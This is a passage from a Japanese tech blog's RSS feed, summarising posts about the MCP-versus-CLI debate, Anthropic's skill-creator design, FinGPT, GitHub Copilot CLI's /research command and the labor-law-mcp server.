&lt;p&gt;&lt;a href="https://x.com/swarm_ai_cloud/status/2028974738341847233"&gt;@swarm_ai_cloud 氏のポスト&lt;/a&gt;が、&lt;a href="https://x.com/hiroki_daichi/status/2028835675702018214"&gt;@hiroki_daichi 氏&lt;/a&gt;が紹介した「MCP is dead. Long live the CLI」という記事に対して、Playwright CLI の登場を根拠に「結論が出た」と指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;今年1月、PlaywrightがCLIを出したことで結論出ましたね。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2026年2月、Eric Holmes の「&lt;a href="https://ejholmes.github.io/2026/02/28/mcp-is-dead-long-live-the-cli.html"&gt;MCP is dead. Long live the CLI&lt;/a&gt;」がHacker Newsのトップに上がり、85ポイント・66コメントを集めました。LLM にとって MCP は不要で、CLI で十分だという主張です。そして1月に Microsoft が Playwright CLI をリリースしたことで、この議論に具体的なデータが加わりました。&lt;/p&gt;
&lt;h2 id="eric-holmes-の主張--mcp-は何の利益ももたらさない"&gt;Eric Holmes の主張 — MCP は何の利益ももたらさない&lt;/h2&gt;
&lt;p&gt;Holmes の記事は5つの論点で MCP の不要性を訴えています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;論点&lt;/th&gt;
&lt;th&gt;主張&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LLM に特別なプロトコルは不要&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;何百万もの man ページと Stack Overflow で訓練済み。CLI とドキュメントを渡せば十分&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CLI は人間も使える&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;問題発生時に同じコマンドを人間が実行してデバッグできる。MCP は JSON ログの解読が必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;合成可能性&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jq&lt;/code&gt;、&lt;code&gt;grep&lt;/code&gt;、パイプで自由に組み合わせ可能。MCP サーバーの返すデータは固定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;認証は解決済み&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aws&lt;/code&gt;、&lt;code&gt;gh&lt;/code&gt;、&lt;code&gt;kubectl&lt;/code&gt; は人間とエージェントの両方で動作する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;可動部品がない&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI バイナリにバックグラウンドプロセスは不要。MCP サーバーは初期化で落ちることがある&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Holmes が特に強調したのは、MCP の&lt;strong&gt;実運用上の痛み&lt;/strong&gt;です。&lt;/p&gt;</description></item><item><title>Anthropic 公式 skill-creator の設計を解剖する — Orchestration Skill という新しいスキル設計パターン</title><link>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E5%85%AC%E5%BC%8F-skill-creator-%E3%81%AE%E8%A8%AD%E8%A8%88%E3%82%92%E8%A7%A3%E5%89%96%E3%81%99%E3%82%8B-orchestration-skill-%E3%81%A8%E3%81%84%E3%81%86%E6%96%B0%E3%81%97%E3%81%84%E3%82%B9%E3%82%AD%E3%83%AB%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/anthropic-%E5%85%AC%E5%BC%8F-skill-creator-%E3%81%AE%E8%A8%AD%E8%A8%88%E3%82%92%E8%A7%A3%E5%89%96%E3%81%99%E3%82%8B-orchestration-skill-%E3%81%A8%E3%81%84%E3%81%86%E6%96%B0%E3%81%97%E3%81%84%E3%82%B9%E3%82%AD%E3%83%AB%E8%A8%AD%E8%A8%88%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3/</guid><description>&lt;h1 id="anthropic-公式-skill-creator-の設計を解剖する--orchestration-skill-という新しいスキル設計パターン"&gt;Anthropic 公式 skill-creator の設計を解剖する — Orchestration Skill という新しいスキル設計パターン&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gyakuse/status/2029107909058330839"&gt;@gyakuse（逆瀬川）氏のポスト&lt;/a&gt;が、Anthropic 公式の skill-creator を分析した記事を公開し、大きな反響を呼んでいます（いいね 330、ブックマーク 372）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Anthropicのskill-creatorがめちゃくちゃいいスキルだったので、中身を分析して、今後どういうふうにAgent Skillを作るべきかまとめました。Orchestrator系のSkillはみんなが無意識に作りつつありますが、意識的に作ると結構便利な気がします。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元は逆瀬川氏のブログ記事「&lt;a href="https://nyosegawa.github.io/posts/skill-creator-and-orchestration-skill/"&gt;skill-creatorから学ぶSkill設計と、Orchestration Skillの作り方&lt;/a&gt;」。Anthropic が &lt;a href="https://github.com/anthropics/skills/blob/main/skills/skill-creator/SKILL.md"&gt;GitHub で公開している skill-creator&lt;/a&gt; の内部構造を詳細に分析し、Skills の設計パターンを体系化した記事です。&lt;/p&gt;
&lt;p&gt;本記事では、skill-creator の設計思想、7つのベストプラクティス、2つのオーケストレーションアーキテクチャ、そして未解決の課題を解説します。&lt;/p&gt;
&lt;h2 id="skill-creator-とは何か"&gt;skill-creator とは何か&lt;/h2&gt;
&lt;h3 id="スキルを作るためのスキル"&gt;「スキルを作るためのスキル」&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/anthropics/skills/blob/main/skills/skill-creator/SKILL.md"&gt;skill-creator&lt;/a&gt; は、Claude Code の Skills を作成・テスト・改善するための&lt;strong&gt;メタスキル&lt;/strong&gt;です。Anthropic が公式リポジトリ &lt;a href="https://github.com/anthropics/skills"&gt;anthropics/skills&lt;/a&gt; で公開しています。&lt;/p&gt;
&lt;p&gt;4つのモードで Skills の開発ライフサイクル全体をカバーします。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モード&lt;/th&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Create&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;インタビュー → SKILL.md ドラフト作成 → テストケース生成&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Eval&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;並列評価（スキルあり版 vs ベースライン版を同時実行）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Improve&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;採点・分析 → HTML ビューアでレビュー → フィードバック反映&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Benchmark&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;統計集約 → Description 最適化 → パッケージング&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="4つの専門エージェント"&gt;4つの専門エージェント&lt;/h3&gt;
&lt;p&gt;skill-creator は内部で4つのサブエージェントを使い分けています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;エージェント&lt;/th&gt;
&lt;th&gt;役割&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Executor&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Skills を実際に実行してテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Grader&lt;/strong&gt;（224行）&lt;/td&gt;
&lt;td&gt;出力を期待値と照合して採点&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Comparator&lt;/strong&gt;（203行）&lt;/td&gt;
&lt;td&gt;スキルあり版とベースライン版を盲検比較&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Analyzer&lt;/strong&gt;（275行）&lt;/td&gt;
&lt;td&gt;結果を分析して改善提案を生成&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;注目すべき数値があります。SKILL.md 本体は 480行のフロー制御ですが、サブエージェントのプロンプトは合計 700行以上。&lt;strong&gt;オーケストレーターよりも専門家プロンプトの方が分量が多い&lt;/strong&gt;のです。&lt;/p&gt;</description></item><item><title>FinGPT 完全ガイド — オープンソース金融 LLM の仕組みと実践</title><link>https://hdknr.github.io/blogs/posts/2026/03/fingpt-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E9%87%91%E8%9E%8D-llm-%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/fingpt-%E5%AE%8C%E5%85%A8%E3%82%AC%E3%82%A4%E3%83%89-%E3%82%AA%E3%83%BC%E3%83%97%E3%83%B3%E3%82%BD%E3%83%BC%E3%82%B9%E9%87%91%E8%9E%8D-llm-%E3%81%AE%E4%BB%95%E7%B5%84%E3%81%BF%E3%81%A8%E5%AE%9F%E8%B7%B5/</guid><description>&lt;h1 id="fingpt-完全ガイド--オープンソース金融-llm-の仕組みと実践"&gt;FinGPT 完全ガイド — オープンソース金融 LLM の仕組みと実践&lt;/h1&gt;
&lt;p&gt;「&lt;a href="https://gist.github.com/hdknr/cde933b6eb635a778d7b053610aca40a"&gt;ローカル LLM を金融取引の意思決定サポートに応用する&lt;/a&gt;」で紹介した FinGPT について、アーキテクチャから実践的な利用方法まで詳しく解説します。BloombergGPT の学習コストが約 270 万ドル（約 4 億円）だったのに対し、FinGPT は &lt;strong&gt;17〜300 ドルで同等以上の精度&lt;/strong&gt;を実現するオープンソースの金融特化 LLM フレームワークです。&lt;/p&gt;
&lt;h2 id="fingpt-とは"&gt;FinGPT とは&lt;/h2&gt;
&lt;p&gt;FinGPT は &lt;strong&gt;AI4Finance Foundation&lt;/strong&gt;（米国 501(c)(3) 非営利法人）が開発・維持するオープンソースプロジェクトです。Columbia University と NYU Shanghai の研究者が中心となり、2023 年 6 月に初版論文（&lt;a href="https://arxiv.org/abs/2306.06031"&gt;arXiv:2306.06031&lt;/a&gt;）を公開しました。&lt;/p&gt;
&lt;h3 id="開発の背景"&gt;開発の背景&lt;/h3&gt;
&lt;p&gt;Bloomberg が 2023 年に公開した BloombergGPT（50B パラメータ）は、金融特化 LLM の可能性を示しました。しかし、モデルは非公開で、学習には &lt;strong&gt;53 日間と約 270 万ドル&lt;/strong&gt;が必要でした。&lt;/p&gt;
&lt;p&gt;FinGPT はこの問題に対して「&lt;strong&gt;金融 AI の民主化&lt;/strong&gt;」を掲げ、以下を実現しています。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;オープンソース（Apache 2.0 / MIT ライセンス）&lt;/li&gt;
&lt;li&gt;LoRA によるパラメータ効率的なファインチューニング&lt;/li&gt;
&lt;li&gt;1 台の GPU（RTX 3090）で学習可能&lt;/li&gt;
&lt;li&gt;学習コスト &lt;strong&gt;17〜300 ドル&lt;/strong&gt;（BloombergGPT 比で約 1 万分の 1）&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;BloombergGPT&lt;/th&gt;
&lt;th&gt;FinGPT&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;パラメータ数&lt;/td&gt;
&lt;td&gt;50B&lt;/td&gt;
&lt;td&gt;7B〜13B（LoRA）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学習コスト&lt;/td&gt;
&lt;td&gt;約 270 万ドル&lt;/td&gt;
&lt;td&gt;17〜300 ドル&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;学習期間&lt;/td&gt;
&lt;td&gt;53 日&lt;/td&gt;
&lt;td&gt;数時間&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;公開状況&lt;/td&gt;
&lt;td&gt;非公開&lt;/td&gt;
&lt;td&gt;オープンソース&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;感情分析（FPB F1）&lt;/td&gt;
&lt;td&gt;51.0%&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;88.2%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;感情分析では FinGPT が BloombergGPT を大幅に上回っています。&lt;/strong&gt; これは LoRA によるタスク特化のファインチューニングが、大規模な事前学習よりも効率的にドメイン知識を獲得できることを示しています。&lt;/p&gt;</description></item><item><title>GitHub Copilot CLI の /research コマンド --- コミットログも Actions 履歴も全部調べてくれるディープリサーチ</title><link>https://hdknr.github.io/blogs/posts/2026/03/github-copilot-cli-%E3%81%AE-/research-%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89---%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%83%AD%E3%82%B0%E3%82%82-actions-%E5%B1%A5%E6%AD%B4%E3%82%82%E5%85%A8%E9%83%A8%E8%AA%BF%E3%81%B9%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/github-copilot-cli-%E3%81%AE-/research-%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89---%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%83%AD%E3%82%B0%E3%82%82-actions-%E5%B1%A5%E6%AD%B4%E3%82%82%E5%85%A8%E9%83%A8%E8%AA%BF%E3%81%B9%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%87%E3%82%A3%E3%83%BC%E3%83%97%E3%83%AA%E3%82%B5%E3%83%BC%E3%83%81/</guid><description>&lt;h1 id="github-copilot-cli-の-research-コマンド--コミットログも-actions-履歴も全部調べてくれるディープリサーチ"&gt;GitHub Copilot CLI の /research コマンド &amp;mdash; コミットログも Actions 履歴も全部調べてくれるディープリサーチ&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/07JP27/status/2028703509965939118"&gt;@07JP27 氏が X で連続投稿&lt;/a&gt;し、GitHub Copilot CLI の &lt;code&gt;/research&lt;/code&gt; コマンドの威力を紹介しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/research コマンドすげえ。Web を Deep Research してくれるのはもちろん、紐づくリポジトリのコミットログとか GitHub Actions の実行履歴まで全部見てくれて「お前のこのときのコミットのここが原因だぞ。Actions のログにもこう出てるだろ」みたいなことを言ってくる。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://x.com/07JP27/status/2028273762769281343"&gt;元の投稿&lt;/a&gt;では Qiita 記事（&lt;a href="https://qiita.com/shyamagu/items/4e2d30a24594c005a02f"&gt;@shyamagu 氏の解説&lt;/a&gt;）も参照されており、MCP ツール連携や WorkIQ との統合例が紹介されています。本記事では、&lt;code&gt;/research&lt;/code&gt; コマンドの技術的な仕組みと、Claude Code との比較を交えて解説します。&lt;/p&gt;
&lt;h2 id="research-コマンドとは"&gt;/research コマンドとは&lt;/h2&gt;
&lt;h3 id="概要"&gt;概要&lt;/h3&gt;
&lt;p&gt;2026 年 2 月 25 日、GitHub Copilot CLI が全有料プラン向けに一般提供（GA）を開始しました。同日リリースの v0.0.417 で追加された &lt;code&gt;/research&lt;/code&gt; コマンドは、&lt;strong&gt;ディープリサーチ専用のスラッシュコマンド&lt;/strong&gt;です。&lt;/p&gt;
&lt;p&gt;通常のチャットが速度重視なのに対し、&lt;code&gt;/research&lt;/code&gt; は&lt;strong&gt;徹底性（thoroughness）を重視&lt;/strong&gt;します。複数のツールを呼び出しながら情報を収集し、数百行に及ぶ Markdown レポートを生成します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 基本的な使い方&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/research Azure App Service の &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt; 年の新機能
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# MCP ツールを明示的に指定&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/research microsoft-docs ツールを使って Azure App Service の新機能を調査してください
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id="3-つのクエリ分類"&gt;3 つのクエリ分類&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/research&lt;/code&gt; はクエリを自動分類し、回答形式を最適化します。&lt;/p&gt;</description></item><item><title>labor-law-mcp — Claude の労務ハルシネーションを防ぐ MCP サーバーと「一次情報/二次情報」の設計思想</title><link>https://hdknr.github.io/blogs/posts/2026/03/labor-law-mcp-claude-%E3%81%AE%E5%8A%B4%E5%8B%99%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E9%98%B2%E3%81%90-mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%81%A8%E4%B8%80%E6%AC%A1%E6%83%85%E5%A0%B1/%E4%BA%8C%E6%AC%A1%E6%83%85%E5%A0%B1%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/labor-law-mcp-claude-%E3%81%AE%E5%8A%B4%E5%8B%99%E3%83%8F%E3%83%AB%E3%82%B7%E3%83%8D%E3%83%BC%E3%82%B7%E3%83%A7%E3%83%B3%E3%82%92%E9%98%B2%E3%81%90-mcp-%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E3%81%A8%E4%B8%80%E6%AC%A1%E6%83%85%E5%A0%B1/%E4%BA%8C%E6%AC%A1%E6%83%85%E5%A0%B1%E3%81%AE%E8%A8%AD%E8%A8%88%E6%80%9D%E6%83%B3/</guid><description>&lt;h1 id="labor-law-mcp--claude-の労務ハルシネーションを防ぐ-mcp-サーバーと一次情報--二次情報の設計思想"&gt;labor-law-mcp — Claude の労務ハルシネーションを防ぐ MCP サーバーと「一次情報 / 二次情報」の設計思想&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/sabaaji0113/status/2028785676414845058"&gt;sabaaji0113氏のポスト&lt;/a&gt;が、労務法令の条文と通達を Claude に提供する MCP サーバー「labor-law-mcp」の公開を告知し、804いいね、143RT、937ブックマーク、約63,000表示と大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;税務より苦労した！！労務MCPサーバー「labor-law-mcp」を公開しました。Claudeが労務の質問に答えるとき、条文や通達のハルシネーションを防ぐためのMCPサーバーです。
— sabaaji0113&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;このプロジェクトが注目される理由は3つあります。第一に、法律という&lt;strong&gt;ハルシネーションが許されない領域&lt;/strong&gt;で一次情報への直接アクセスを実現していること。第二に、先行する税法版（tax-law-mcp）のアーキテクチャを応用し、&lt;strong&gt;取得できない情報を「ごまかさない」設計&lt;/strong&gt;を導入したこと。第三に、社労士・会計事務所という&lt;strong&gt;明確な実務ユーザー&lt;/strong&gt;を想定していることです。&lt;/p&gt;
&lt;h2 id="labor-law-mcp-の全体像"&gt;labor-law-mcp の全体像&lt;/h2&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;kentaroajisaka&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GitHub&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/kentaroajisaka/labor-law-mcp"&gt;kentaroajisaka/labor-law-mcp&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;npm&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.npmjs.com/package/labor-law-mcp"&gt;labor-law-mcp&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;言語&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;TypeScript 99.4%&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stars&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;35&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;対応法令数&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;45法令&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="6つのツール"&gt;6つのツール&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ツール&lt;/th&gt;
&lt;th&gt;データソース&lt;/th&gt;
&lt;th&gt;機能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_law&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;e-Gov 法令API v2&lt;/td&gt;
&lt;td&gt;法令名 + 条番号で条文を Markdown 形式で取得&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;search_law&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;e-Gov 法令API v2&lt;/td&gt;
&lt;td&gt;キーワードで法令を横断検索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;search_mhlw_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;厚労省法令等DB&lt;/td&gt;
&lt;td&gt;厚労省通達をキーワード検索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_mhlw_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;厚労省法令等DB&lt;/td&gt;
&lt;td&gt;通達本文を HTML→テキスト変換して取得&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;search_jaish_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;安全衛生情報センター&lt;/td&gt;
&lt;td&gt;安衛法関連通達を検索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;get_jaish_tsutatsu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;安全衛生情報センター&lt;/td&gt;
&lt;td&gt;安衛通達本文を取得&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="対応法令45法令6カテゴリ"&gt;対応法令（45法令・6カテゴリ）&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;カテゴリ&lt;/th&gt;
&lt;th&gt;主要法令&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;労働基準&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;労働基準法、労働契約法、最低賃金法、同施行令・規則&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;労働安全衛生&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;労働安全衛生法、じん肺法、同施行令・規則&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;労働保険&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;労災保険法、雇用保険法、労働保険料徴収法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;雇用対策&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;職業安定法、労働者派遣法、障害者雇用促進法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;均等・ワークライフバランス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;育児介護休業法、男女雇用機会均等法、パート有期法&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;社会保険&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;健康保険法、厚生年金保険法、国民年金法、介護保険法&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;略称にも対応しています。「労基法」「安衛法」「育介法」「健保法」「パワハラ防止法」など12の略称で自然に質問できます。&lt;/p&gt;</description></item><item><title>macOS Keychain で .env のシークレットを守る — 1Password 不要、無料で実現する AI エージェント時代の秘密管理</title><link>https://hdknr.github.io/blogs/posts/2026/03/macos-keychain-%E3%81%A7-.env-%E3%81%AE%E3%82%B7%E3%83%BC%E3%82%AF%E3%83%AC%E3%83%83%E3%83%88%E3%82%92%E5%AE%88%E3%82%8B-1password-%E4%B8%8D%E8%A6%81%E7%84%A1%E6%96%99%E3%81%A7%E5%AE%9F%E7%8F%BE%E3%81%99%E3%82%8B-ai-%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E6%99%82%E4%BB%A3%E3%81%AE%E7%A7%98%E5%AF%86%E7%AE%A1%E7%90%86/</link><pubDate>Wed, 04 Mar 2026 00:00:00 